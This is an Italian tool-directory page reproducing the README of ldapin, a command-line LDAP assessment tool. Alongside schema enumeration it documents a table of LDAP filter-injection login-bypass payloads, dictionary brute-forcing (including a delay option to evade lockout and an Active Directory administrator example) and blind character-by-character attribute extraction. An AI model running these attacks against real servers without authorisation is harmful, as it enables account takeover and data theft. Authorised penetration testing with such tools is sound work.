Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
ldapin — Strumento CLI per eseguire attività LDAP di base per valutazioni di sicurezza | Kitploit
Strumenti/GitHubGitHub/affolter-engineering/ldapin
RicognizioneAttacchi alle PasswordAnalisi delle VulnerabilitàRaccolta InformazioniPenetration TestingAutenticazione
GitHubaffolter-engineering/ldapin

ldapin

Strumento CLI per eseguire attività LDAP di base per valutazioni di sicurezza

Vedi Repository
1293 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

ldapin

Uno strumento CLI che scopre i campi LDAP validi interrogando il subschema di un server LDAP. Legge attributeTypes e objectClasses direttamente dal server, quindi i risultati riflettono sempre ciò che il server supporta effettivamente.

Funzionalità

  • Elenca tutti i tipi di attributo con OID, sintassi, cardinalità, alias e descrizione
  • Elenca tutte le classi di oggetto con tipo (structural/auxiliary/abstract), attributi obbligatori/facoltativi e catena di superclassi
  • Filtro substring su nome o descrizione
  • Tre formati di output: table, JSON, CSV
  • Bind anonimo e autenticato (simple)
  • LDAP semplice, LDAPS e STARTTLS

Installazione

Nix (consigliato)

# Run directly without installing
nix run github:your-user/ldapin

# Or build and link into ./result/bin/ldapin
nix build github:your-user/ldapin

Per gli utenti Nix o NixOS è disponibile un pacchetto. Tieni presente che le versioni più recenti potrebbero essere presenti solo nel canale unstable.

nix-env -iA nixos.lapin

Da un checkout locale:

nix run .
nix build .

Cargo

cargo install --path .

Utilizzo

ldapin [OPTIONS]

Options:
  -H, --host <HOST>           LDAP server URL [default: ldap://localhost:389]
  -D, --bind-dn <BIND_DN>     Bind DN (omit for anonymous bind)
  -w, --password <PASSWORD>   Bind password
  -W, --prompt-password       Prompt for bind password interactively
  -f, --filter <FILTER>       Substring filter on name or description
  -c, --object-class <NAME>   Limit to a specific object class (with -m object-classes)
  -m, --mode <MODE>           What to show: attributes, object-classes, both [default: attributes]
  -o, --output <OUTPUT>       Output format: table, json, csv [default: table]
  -b, --base-dn <BASE_DN>     Base DN to search under (required for --mode login-bypass)
      --user-attr <ATTR>      User attribute name for login-bypass probes [default: uid]
      --pass-attr <ATTR>      Password attribute name for login-bypass probes [default: userPassword]
  -u, --target-user <USER>    Target username for login-bypass probes
      --starttls              Upgrade connection with STARTTLS
      --insecure              Skip TLS certificate verification
  -h, --help                  Print help
  -V, --version               Print version

Esempi

Elenca tutti i tipi di attributo su un server locale:

ldapin

Autenticati ed elenca tutte le classi di oggetto:

ldapin -H ldap://ldap.example.org -D 'cn=admin,dc=example,dc=org' -W -m object-classes

Trova tutti gli attributi relativi a mail:

ldapin -H ldap://ldap.example.org -f mail

Mostra tutto in JSON:

ldapin -H ldaps://ldap.example.org -m both -o json

Esporta tutti gli attributi in CSV:

ldapin -H ldap://ldap.example.org -o csv > attributes.csv

Mostra la voce della classe di oggetto inetOrgPerson:

ldapin -H ldap://ldap.example.org -m object-classes -c inetOrgPerson

Connettiti con STARTTLS:

ldapin -H ldap://ldap.example.org --starttls -D 'cn=admin,dc=example,dc=org' -W

Test con il server LDAP pubblico ForumSys

ForumSys fornisce un server LDAP gratuito in sola lettura adatto per i test.

ParametroValore
Hostldap.forumsys.com
Port389
Bind DNcn=read-only-admin,dc=example,dc=com
Passwordpassword
Base DNdc=example,dc=com

Elenca tutti i tipi di attributo (bind anonimo):

ldapin -H ldap://ldap.forumsys.com

Elenca tutti i tipi di attributo (autenticato):

ldapin -H ldap://ldap.forumsys.com -D 'cn=read-only-admin,dc=example,dc=com' -w password

Elenca tutte le classi di oggetto:

ldapin -H ldap://ldap.forumsys.com -m object-classes

Mostra la classe di oggetto inetOrgPerson:

ldapin -H ldap://ldap.forumsys.com -m object-classes -c inetOrgPerson

Filtra gli attributi per nome:

ldapin -H ldap://ldap.forumsys.com -f mail

Esporta tutto in JSON:

ldapin -H ldap://ldap.forumsys.com -m both -o json

Test di bypass del login

La modalità login-bypass sonda un server LDAP alla ricerca di vulnerabilità di filter-injection. Costruisce 11 payload derivati da tecniche note di LDAP injection e riporta quali restituiscono voci. Lo stesso risultato che produrrebbe un'applicazione web vulnerabile se costruisse il proprio filtro di autenticazione da input utente non sanificato.

# Probe with anonymous bind, any-user payloads
ldapin -H ldap://target -m login-bypass -b dc=example,dc=com

# Probe for a specific account
ldapin -H ldap://target -m login-bypass -b dc=example,dc=com -u einstein

# Active Directory. Use sAMAccountName and unicodePwd
ldapin -H ldap://dc.corp -m login-bypass -b dc=corp,dc=local \
  --user-attr sAMAccountName --pass-attr unicodePwd -u administrator

# JSON output for scripting
ldapin -H ldap://target -m login-bypass -b dc=example,dc=com -o json

Payload testati:

PayloadTemplate del filtro
wildcard-both(&(uid=*)(userPassword=*))
wildcard-password(&(uid=TARGET)(userPassword=*))
negate-password(&(uid=TARGET)(!(userPassword=void)))
or-always-true(|(uid=*)(uid=TARGET))
double-or-inject(|(uid=*)(uid=*))
and-tautology(&(uid=TARGET)(|(userPassword=*)(userPassword=*)))
objectclass-wildcard(&(uid=*)(objectClass=*))
not-nonexistent(!(&(uid=__ldapin_nonexistent__)))
empty-password(&(uid=TARGET)(userPassword=))
wildcard-user-prefix(&(uid=TARGET*)(userPassword=*))
bare-user-wildcard(uid=*)

Esempio ForumSys

ldapin -H ldap://ldap.forumsys.com -m login-bypass -b dc=example,dc=com

Attacco a dizionario

La modalità brute-force risolve prima il DN completo dell'utente target tramite una ricerca LDAP, poi tenta simple_bind(dn, password) per ogni riga della wordlist, fermandosi al primo successo.

Flag obbligatori: -b / --base-dn, -u / --target-user, --wordlist.

# Basic dictionary attack
ldapin -H ldap://target -m brute-force \
  -b dc=example,dc=com -u jdoe --wordlist /usr/share/wordlists/rockyou.txt

# With a 500 ms delay between attempts to stay under lockout thresholds
ldapin -H ldap://target -m brute-force \
  -b dc=example,dc=com -u jdoe --wordlist passwords.txt --delay 500

# Active Directory (use sAMAccountName)
ldapin -H ldap://dc.corp -m brute-force \
  -b dc=corp,dc=local --user-attr sAMAccountName -u administrator \
  --wordlist passwords.txt

# JSON output
ldapin -H ldap://target -m brute-force \
  -b dc=example,dc=com -u jdoe --wordlist passwords.txt -o json

Il progresso (risoluzione del DN, conteggio dei tentativi, esito) viene scritto su stderr; il risultato va su stdout, quindi -o json e -o csv possono essere reindirizzati senza problemi.

Esempio ForumSys

# Create a small wordlist with the known password
echo password > /tmp/test.txt

ldapin -H ldap://ldap.forumsys.com -m brute-force \
  -b dc=example,dc=com -u einstein --wordlist /tmp/test.txt

Estrazione cieca di attributi

La modalità blind-extract recupera il valore di qualsiasi attributo leggibile un carattere alla volta sondando ripetutamente con filtri a suffisso wildcard:

(&(uid=TARGET)(mail=a*))   -> no entries
(&(uid=TARGET)(mail=e*))   -> entries found -> 'e'
(&(uid=TARGET)(mail=ei*))  -> entries found -> 'ei'
...

Questo è l'equivalente in LDAP diretto del classico ciclo di blind injection usato contro applicazioni web vulnerabili che costruiscono filtri LDAP da input non sanificato.

Flag obbligatori: -b / --base-dn, -u / --target-user, --extract-attr.

# Extract the mail attribute for user "einstein"
ldapin -H ldap://target -m blind-extract \
  -b dc=example,dc=com -u einstein --extract-attr mail
Scarica lo strumento